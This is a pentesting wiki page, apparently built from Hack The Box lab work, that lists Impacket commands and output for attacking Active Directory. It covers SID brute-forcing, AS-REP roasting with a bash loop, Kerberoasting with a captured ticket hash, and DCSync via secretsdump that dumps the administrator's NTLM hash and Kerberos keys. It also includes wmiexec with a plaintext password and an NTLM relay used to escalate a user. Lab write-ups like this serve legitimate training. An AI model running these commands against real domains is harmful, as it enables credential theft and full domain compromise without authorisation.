> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/infra-pentesting/active-directory-ad-initial-attacks/impacket.md).
# Impacket
Impacket in Kali linux is present here
```
/usr/share/doc/python3-impacket/examples
```
## Lookup SID
```
└─# python3 ./lookupsid.py hazard:stealth1agent@10.129.96.157
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Brute forcing SIDs at 10.129.96.157
[*] StringBinding ncacn_np:10.129.96.157[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
```
## GetNPUsers
Identify users which do not require Kerberos preauthentication (to get TGT ticket)
```
impacket-GetNPUsers domain/user -request -no-pass -dc-ip
```
```
impacket-GetNPUsers htb.local/svc-alfresco -no-pass -dc-ip 10.129.95.210
```
```
#!/bin/bash
while read p;
do
echo "[$p]"
impacket-GetNPUsers egotistical-bank.local/"$p" -request -no-pass -dc-ip 10.129.95.180 >> hash.txt;
done < ./usernames.txt
```
## GetUserSPN
```
impacket-GetUserSPNs active.htb/svc_tgs -dc-ip 10.129.229.121 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2023-06-25 07:58:08.601346
[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$07b7289ca17b0f3529dff209c5872316$12c0ee251b2f58e3a343efd0dcc5071c36146292f838f8bbabfe3ab7625cbda5f070abbfb731dab4179e106cdbd
```
## GetADUsers
```
impacket-GetADUsers -all active.htb/svc_tgs -dc-ip 10.129.229.121
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
Password:
[*] Querying 10.129.229.121 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Administrator 2018-07-18 15:06:40.351723 2023-06-25 07:58:08.601346
Guest
krbtgt 2018-07-18 14:50:36.972031
SVC_TGS
```
## WMIexec
```
impacket-wmiexec active.htb/administrator:Ticketmaster1968@10.129.229.121
```
## Secretdump - DSYNC
```
impacket-secretsdump htb.local/bigb0ss:bigb0ss@10.129.95.210 -just-dc-user administrator
```
```
└─$ impacket-secretsdump htb.local/bigb0ss:bigb0ss@10.129.95.210 -just-dc-user administrator
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
[*] Cleaning up...
```
## SMBServer
```
impacket-smbserver -smb2support share .
```
## NTLM relay
```
/usr/share/doc/python3-impacket/examples/ntlmrelayx.py -t ldap://10.129.95.210 --escalate-user bigb0ss
```
